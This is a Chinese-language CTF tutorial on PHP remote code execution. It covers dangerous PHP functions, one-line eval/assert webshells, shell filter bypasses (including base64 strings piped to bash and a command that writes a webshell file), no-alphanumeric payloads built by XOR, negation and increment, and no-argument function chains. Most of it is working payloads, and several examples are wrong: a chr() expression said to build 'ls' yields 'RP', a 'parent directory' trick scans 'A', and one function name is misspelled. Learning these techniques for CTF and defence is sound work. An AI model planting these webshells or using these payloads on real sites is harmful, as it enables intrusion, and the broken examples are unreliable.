CTF-Web-PHP-RCE


~made by Mitunlny(M.Y)~


参考文章:

PHP RCE 基础

一、RCE漏洞概述

什么是RCE——基本概念

远程代码/命令执行漏洞(Remote Code/Command Execute,简称RCE)是Web安全领域中危害性极高的漏洞类型,主要分为两类:

  1. 代码执行漏洞:针对后端编程语言(如PHP、Java、Python等)的漏洞
  2. 命令执行漏洞:针对操作系统层面的漏洞

本篇仅涉及PHP的代码执行漏洞

RCE漏洞成因

当开发人员为了实现功能灵活性,在代码中调用动态执行函数时,若未对用户输入进行严格过滤,攻击者就可以构造恶意输入执行任意代码或系统命令。这种漏洞通常出现在以下场景:

  • 使用字符串转代码函数(如eval())
  • 调用系统命令函数(如system())
  • 动态包含文件功能
  • 模板引擎解析

二、相关函数

命令执行

system()

1
2
3
4
5
#string system ( string $command [, int &$return_var ] )
#system()函数执行有回显,将执行结果输出到页面上
<?php
system("whoami");
?>

exec()

1
2
3
<?php
echo exec("whoami");
?>

popen()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#resource popen ( string $command , string $mode )
#函数需要两个参数,一个是执行的命令command,另外一个是指针文件的连接模式mode,有r和w代表读#和写。函数不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行
<?php popen( 'whoami >> c:/1.txt', 'r' ); ?>

<?php
$test = "ls /tmp/test";
$fp = popen($test,"r"); //popen打一个进程通道

while (!feof($fp)) { //从通道里面取得东西
$out = fgets($fp, 4096);
echo $out; //打印出来
}
pclose($fp);
?>

proc_open()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
resource proc_open ( 
string $cmd ,
array $descriptorspec ,
array &$pipes [, string $cwd [, array $env [, array $other_options ]]]
)
#与Popen函数类似,但是可以提供双向管道
<?php
$test = "ipconfig";
$array = array(
array("pipe","r"), //标准输入
array("pipe","w"), //标准输出内容
array("pipe","w") //标准输出错误
);

$fp = proc_open($test,$array,$pipes); //打开一个进程通道
echo stream_get_contents($pipes[1]); //为什么是$pipes[1],因为1是输出内容
proc_close($fp);
?>

passthru()

1
2
3
4
#void passthru ( string $command [, int &$return_var ] )
<?php
passthru("whoami");
?>

shell_exec()

1
2
3
4
#string shell_exec( string &command)
<?php
echo shell_exec("whoami");
?>

反引号 `

1
2
3
4
#shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体,当禁用shell_exec时,` 也不可执行
<?php
echo `whoami`;
?>

pcntl_exec()

1
2
3
4
5
6
7
8
#void pcntl_exec ( string $path [, array $args [, array $envs ]] )
#path是可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本
#args是一个要传递给程序的参数的字符串数组。
#pcntl是linux下的一个扩展,需要额外安装,可以支持 php 的多线程操作。
#pcntl_exec函数的作用是在当前进程空间执行指定程序,版本要求:PHP > 4.2.0
<?php
pcntl_exec ( "/bin/bash" , array("whoami"));
?>

代码注入

eval()

1
2
3
4
#传入的参数必须为PHP代码,既需要以分号结尾。
#命令执行:cmd=system(whoami);
#菜刀连接密码:cmd
<?php @eval($_POST['cmd']);?>

assert()

1
2
3
4
#assert函数是直接将传入的参数当成PHP代码直接,不需要以分号结尾,当然你加上也可以。
#命令执行:cmd=system(whoami)
#菜刀连接密码:cmd
<?php @assert($_POST['cmd'])?>

preg_replace()

1
2
3
4
#preg_replace('正则规则','替换字符','目标字符')
#执行命令和上传文件参考assert函数(不需要加分号)。
#将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞。
preg_replace("/test/e",$_POST["cmd"],"jutst test");

create_function()

1
2
3
4
#创建匿名函数执行代码
#执行命令和上传文件参考eval函数(必须加分号)。
#菜刀连接密码:cmd
$func =create_function('',$_POST['cmd']);$func();

array_map()

1
2
3
4
5
6
7
8
#array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。
#命令执行http://localhost/123.php?func=system cmd=whoami
#菜刀连接http://localhost/123.php?func=assert 密码:cmd
$func=$_GET['func'];
$cmd=$_POST['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
echo $new_array;

call_user_func()

1
2
3
4
#传入的参数作为assert函数的参数
#cmd=system(whoami)
#菜刀连接密码:cmd
call_user_func("assert",$_POST['cmd']);

call_user_func_array()

1
2
3
4
5
6
#将传入的参数作为数组的第一个值传递给assert函数
#cmd=system(whoami)
#菜刀连接密码:cmd
$cmd=$_POST['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);

array_filter()

1
2
3
4
5
6
7
#用回调函数过滤数组中的元素:array_filter(数组,函数)
#命令执行func=system&cmd=whoami
#菜刀连接http://localhost/123.php?func=assert 密码cmd
$cmd=$_POST['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);

uasort()

1
2
3
4
5
#php环境>=<5.6才能用
#uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。
#命令执行:http://localhost/123.php?1=1+1&2=eval($_GET[cmd])&cmd=system(whoami);
#菜刀连接:http://localhost/123.php?1=1+1&2=eval($_POST[cmd]) 密码:cmd
usort($_GET,'asse'.'rt');

三、例题

四、绕过方式

空格

1
2
3
4
#常见的绕过符号有:
$IFS$9 、${IFS} 、%09(php环境下)、 重定向符<>、<、

#$IFS在linux下表示分隔符,如果不加{}则bash会将IFS解释为一个变量名,加一个{}就固定了变量名,$IFS$9后面之所以加个$是为了起到截断的作用

命令分隔符

1
2
3
4
5
6
7
%0a  #换行符,需要php环境
%0d #回车符,需要php环境
; #在 shell 中,是”连续指令”
& #不管第一条命令成功与否,都会执行第二条命令
&& #第一条命令成功,第二条才会执行
| #第一条命令的结果,作为第二条命令的输入
|| #第一条命令失败,第二条才会执行

关键字

假如过滤了关键字cat\flag,无法读取不了flag.php,又该如何去做

拼接绕过

1
2
3
4
5
6
#执行ls命令:
a=l;b=s;$a$b
#cat flag文件内容:
a=c;b=at;c=f;d=lag;$a$b ${c}${d}
#cat test文件内容
a="ccaatt";b=${a:0:1}${a:2:1}${a:4:1};$b test

编码绕过

1
2
3
4
5
6
7
8
9
10
11
12
#base64
echo "Y2F0IC9mbGFn"|base64 -d|bash ==> cat /flag
echo Y2F0IC9mbGFn|base64 -d|sh ==> cat /flag
#hex
echo "0x636174202f666c6167" | xxd -r -p|bash ==> cat /flag
#oct/字节
$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
#i也可以通过这种方式写马
#内容为<?php @eval($_POST['c']);?>
${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php

单引号和双引号绕过

1
2
c'a't test
c"a"t test

反斜杠绕过

1
ca\t test

通过$PATH绕过

1
2
3
4
5
6
#echo $PATH 显示当前PATH环境变量,该变量的值由一系列以冒号分隔的目录名组成
#当执行程序时,shell自动跟据PATH变量的值去搜索该程序
#shell在搜索时先搜索PATH环境变量中的第一个目录,没找到再接着搜索,如果找到则执行它,不会再继续搜索
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
`echo $PATH| cut -c 8,9`t test

通配符绕过

  1. […]表示匹配方括号之中的任意一个字符
  2. {…}表示匹配大括号里面的所有模式,模式之间使用逗号分隔。
  3. {…}与[…]有一个重要的区别,当匹配的文件不存在,[…]会失去模式的功能,变成一个单纯的字符串,而{…}依然可以展开
1
2
3
4
cat t?st
cat te*
cat t[a-z]st
cat t{a,b,c,d,e,f}st

PHP RCE 进阶技巧

例题

一、无字母数字RCE

技术原理与背景

无字母数字RCE是指在不使用任何字母(a-z,A-Z)和数字(0-9)的情况下实现代码执行的技巧。这种技术在以下场景特别有用:

  • 过滤了所有字母和数字的CTF题目
  • 严格的WAF规则过滤了常规payload
  • 需要绕过字符限制的实战环境

例如:

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("hacker!");
}
@eval($code);
?>

思路:

利用各种非数字字母的字符,经过各种变换(异或,取反,自增),构造出单个的字母字符,然后把单个字符拼接成函数名,进行动态执行。

核心实现方法

1.异或

php7有一种特性叫做函数的动态调用,即在字符串上加一个括号就可以调用和字符串同名的函数

例如:

1
("phpinfo")();

而其中的字符串可以是任意形式,例如拼接:("php"."info") 或者运算的结果

异或运算,本质是得到这样的字符串然后括起来,进行命令操作

这里的异或,指的是php按位异或,在php 中,两个字符异或后,得到的依然是一个字符!

例如:将字符“A”和“?”进行异或:

1
2
<?php
echo "A" ^ "?";

得到:~

它是如何计算的呢,过程如下:

首先将 A 和 ? 分别转换为对应的ASCII码,A变为65,?变为63

然后将其转换为对应的二进制数,A变为1000001,?变为111111 接下来就进行运算,异或的运算规则是相同为0,不同为1

A:        1000001
?:        0111111(少一位,前面补0) 
结果:      1111110

接下来将其二进制转换为对应十进制数,1111110对应的十进制数为126,根据ASCII码表可知126对应的是~,所以这个时候得到的字符就是~
因此,我们利用这种思路,就可以借助异或构造payload。

2.取反

取反其实是利用了不可见字符,我们对一个字符进行两次取反,得到的还是其本身。当我们进行一次取反过后,对其进行URL编码,再对其进行取反,此时可以得到可见的字符,它的本质其实还是这个字符本身,然后因为取反用的多是不可见字符,所以这里就达到了一种绕过的目的

取反运算符(~)的作用

在PHP中,~是按位取反运算符,它对一个数的每一位二进制位进行取反操作(0变1,1变0)9。例如:

1
2
echo ~3; // 输出-4
echo ~'a'; // 输出一个不可见字符

取反绕过的核心是:

  1. 将想要执行的PHP代码进行取反操作
  2. 将取反后的结果进行URL编码
  3. 通过eval等函数执行取反后的代码

因为取反后的字符大多是不可见字符,可以绕过基于正则表达式的字符过滤。

具体实现步骤

基本payload构造:

假设我们要执行phpinfo();,可以按照以下步骤构造payload:

  1. 对”phpinfo”进行取反:
1
echo ~'phpinfo'; // 输出不可见字符
  1. 对取反结果进行URL编码:
1
echo urlencode(~'phpinfo'); // 输出"%8F%97%8F%96%91%99%90"
  1. 最终payload格式:
1
?code=(~%8F%97%8F%96%91%99%90)();

注意括号的使用:取反部分要用括号括起来,最后的分号不能少5。

以CTF题目为例,当遇到如下过滤条件时:

1
2
3
4
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);

我们可以使用取反绕过:

1
2
3
?code=(~%8F%97%8F%96%91%99%90)();  // 执行phpinfo()
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);
// 相当于assert(eval($_POST[cmd]));

可以使用以下PHP代码生成取反payload:

1
2
3
4
5
6
<?php
$func = "phpinfo";
echo "原始函数: ".$func."\n";
echo "取反结果: ".~$func."\n";
echo "URL编码: ".urlencode(~$func)."\n";
?>

3.自增

什么是自增绕过?

自增绕过是一种在PHP代码中,当字母和数字被严格过滤时,通过利用PHP的类型转换和自增运算符(++)特性来构造所需字符的技术。它允许攻击者在无法直接输入字母数字的情况下,逐步”构建”出执行命令所需的字符7。

基本行为:

在PHP中,自增运算符有两种形式:

  • 前置自增(++$a):先增加变量的值,然后返回新值
  • 后置自增($a++):先返回变量的当前值,然后增加变量的值

例如:

1
2
3
$a = 'A';
echo ++$a; // 输出'B'
echo $a++; // 输出'B'(但$a的值变为'C')

为什么自增可以用于RCE绕过?

当Web应用过滤了所有字母和数字时,传统的RCE方法(如直接输入system('ls'))无法使用。但PHP中:

  • 空数组[]可以转换为字符串’Array’
  • 字符串可以通过自增逐步构建出需要的字符
  • 利用这些特性可以构造出函数名和参数7

核心原理:

  1. 从空数组开始构建字符串
1
2
3
$_ = [];        // 创建一个空数组
$_ = @$_['']; // 尝试访问不存在的键,返回NULL并转换为空字符串
$_ = $_['!'=='@']; // '!'=='@'返回false,转换为0,相当于$_ = $_[0]
  1. 利用自增构建字符

PHP中字符串的自增遵循字母表顺序:

1
2
3
4
$_ = 'A';
echo ++$_; // 输出'B'
$_ = 'Z';
echo ++$_; // 输出'AA' (类似于Excel的列命名)
  1. 构建完整函数调用

通过逐步自增,可以从空字符串开始构建出如assertsystem等关键函数名,以及执行命令所需的参数7。

Payload解析

下面是一个典型的自增绕过Payload,用于执行assert($_POST[_])

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
$_=[];
$_=@"$_"; // $_ = 'Array'
$_=$_['!'=='@']; // $_ = 'A'
$___=$_; // $___ = 'A'
$__=$_; // $__ = 'A'
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
// 经过18次自增,$__ = 'S'
$___.=$__; // $___ = 'AS'
$___.=$__; // $___ = 'ASS'
$__=$_; // 重置$__ = 'A'
$__++;$__++;$__++;$__++;
// 经过4次自增,$__ = 'E'
$___.=$__; // $___ = 'ASSE'
$__=$_; // 重置$__ = 'A'
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
// 经过17次自增,$__ = 'R'
$___.=$__; // $___ = 'ASSER'
$__=$_; // 重置$__ = 'A'
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
// 经过19次自增,$__ = 'T'
$___.=$__; // $___ = 'ASSERT'
$____='_'; // $____ = '_'
$__=$_; // 重置$__ = 'A'
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
// 经过15次自增,$__ = 'P'
$____.=$__; // $____ = '_P'
$__=$_; // 重置$__ = 'A'
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
// 经过14次自增,$__ = 'O'
$____.=$__; // $____ = '_PO'
$__=$_; // 重置$__ = 'A'
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
// 经过18次自增,$__ = 'S'
$____.=$__; // $____ = '_POS'
$__=$_; // 重置$__ = 'A'
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
// 经过19次自增,$__ = 'T'
$____.=$__; // $____ = '_POST'
$_=$$____; // $_ = $_POST
$___($_[_]); // assert($_POST[_])

使用时配合POST参数:_=phpinfo();即可执行任意PHP代码7。

优缺点:

优点:

  • 完全不依赖字母和数字字符
  • 在严格过滤环境下仍能工作
  • 可以构建任意函数名和参数

缺点:

  • Payload通常较长且复杂
  • 需要PHP环境支持字符串自增行为
  • 对PHP版本有一定要求(某些版本行为可能不同)

二、无参数RCE

无参RCE是一种特殊的代码执行漏洞,攻击者可以在不直接传递参数的情况下,通过构造特定的函数调用链来实现远程代码执行。以下是关于PHP无参RCE的详细介绍:

成因

PHP无参RCE的成因主要与以下几个方面有关:

  1. 代码逻辑缺陷:某些PHP代码可能会对用户输入进行不安全的处理,例如使用eval()函数直接执行用户输入的代码,而没有对输入进行严格的过滤

  2. 正则表达式绕过:某些情况下,开发者可能会使用正则表达式来过滤用户输入,但攻击者可以通过构造特定的函数调用链来绕过这些过滤

  3. PHP函数特性:PHP中存在一些无参数的函数或可以通过特定方式构造参数的函数,这些函数可以被攻击者利用

利用方式

利用PHP无参RCE的关键在于构造无参数的函数调用链,以实现代码执行。以下是一些常见的利用方式:

  1. 利用无参数函数

    • scandir():获取当前目录下的文件列表
    • localeconv():返回包含本地数字及货币格式信息的数组,可以用于构造特定的字符
    • current()pos():获取数组的第一个值
    • array_rand()array_reverse():操作数组以获取特定值
  2. 构造文件路径

    • 通过getcwd()dirname()等函数构造文件路径,结合scandir()获取目标文件
  3. 读取文件内容

    • 利用highlight_file()show_source()readfile()等函数读取文件内容
  4. 命令执行

    • 使用eval()assert()等函数执行代码

示例

以下是一个典型的无参RCE场景:

1
2
3
4
5
<?php
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])){
eval($_GET['exp']);
}
?>

攻击者可以通过构造类似以下的exp参数来绕过过滤并执行代码:

1
exp=print_r(scandir(current(localeconv())));

通过current(localeconv())构造小数点,进而调用scandir()获取当前目录下的文件列表

PHP相关函数

附:PHP官方文档的函数介绍:https://www.php.net/manual/zh/indexes.functions.php

一、HTTP相关函数

1. getallheaders()

  • 功能:获取所有HTTP请求头,返回关联数组
  • 利用:从请求头中获取可控数据
1
2
// 示例:获取User-Agent头
end(getallheaders()); // 获取最后一个头

2. get_defined_vars()

  • 功能:返回所有已定义变量的多维数组
  • 利用:获取GET/GET/_POST等超全局变量
1
current(current(get_defined_vars())); // 获取第一个变量

二、会话控制函数

3. session_id()

  • 功能:获取/设置当前会话ID
  • 利用:通过设置恶意session ID执行代码
1
2
session_id('evilcode'); 
session_start();

4. session_start()

  • 功能:启动新会话或重用现有会话
  • 利用:配合session_id()使用

三、本地化函数

5. localeconv()

  • 功能:返回本地化数字格式信息
  • 关键利用:返回的数组第一个元素是小数点(.)
1
current(localeconv()); // 得到点字符"."

四、文件系统函数

6. scandir()

  • 功能:列出目录中的文件和目录
  • 利用:目录遍历核心函数
1
scandir('.'); // 列出当前目录

7. chdir()

  • 功能:改变当前目录
  • 利用:配合scandir()跳转目录
1
chdir('..'); // 跳到上级目录

8. getcwd() / grtpwd()

  • 功能:获取当前工作目录
  • 利用:获取路径信息
1
getcwd(); // 如"/var/www/html"

9. dirname()

  • 功能:返回路径中的目录部分
  • 利用:目录跳转
1
dirname('/var/www'); // 返回"/var"

五、数组操作函数

10. current() / pos()

  • 功能:返回数组当前元素
  • 利用:获取数组第一个元素
1
current(scandir('.')); // 第一个文件

11. array_reverse()

  • 功能:返回逆序数组
  • 利用:改变数组顺序
1
end(array_reverse(scandir('.'))); // 获取第一个文件

12. array_flip()

  • 功能:交换键值
  • 利用:改变数组结构
1
array_flip(['a'=>1,'b'=>2]); // [1=>'a',2=>'b']

13. array_rand()

  • 功能:随机返回数组键名
  • 利用:随机选择文件
1
scandir('.')[array_rand(scandir('.'))];

14. next() / prev() / end()

  • 功能:移动数组指针
  • 利用:遍历数组
1
2
end(scandir('.')); // 最后一个文件
next(scandir('.')); // 第二个文件

六、输出函数

15. print_r()

  • 功能:打印易读的变量信息
  • 利用:输出数组内容
1
print_r(scandir('.'));

16. show_source() / highlight_file()

  • 功能:语法高亮显示文件源码
  • 利用:读取文件
1
show_source(end(scandir('.')));

17. readfile() / file_get_contents()

  • 功能:读取文件内容
  • 利用:读取flag
1
readfile('flag.txt');

七、编码转换函数

18. chr() / ord()

  • 功能:ASCII码与字符互转
  • 利用:构造特定字符
1
2
chr(65); // 'A'
ord('A'); // 65

19. hex2bin()

  • 功能:十六进制转二进制
  • 利用:构造字符串
1
hex2bin('414243'); // 'ABC'

20. urldecode()

  • 功能:URL解码
  • 利用:解码特殊字符
1
urldecode('%41'); // 'A'

八、数学函数

21. phpversion()

  • 功能:获取PHP版本
  • 利用:判断环境
1
floor(phpversion()); // 主版本号

22. rand() / time()

  • 功能:随机数/时间戳
  • 利用:生成临时数据
1
2
rand(1,100);
time();

23. localtime()

  • 功能:返回本地时间数组
  • 利用:获取数字
1
localtime()[0]; // 秒数

经典利用组合

1. 读取当前目录文件

1
show_source(end(scandir(getcwd())));

2. 利用HTTP头执行代码

1
eval(end(getallheaders()));

3. 构造命令执行

1
system(chr(ord('A')+17).chr(ord('Q')-1)); // 构造'ls'

4. 目录遍历技巧

1
print_r(scandir(chr(ord('a')-32))); // 扫描上级目录

5. Session ID利用

1
2
session_id('<?php system("ls");?>');
session_start();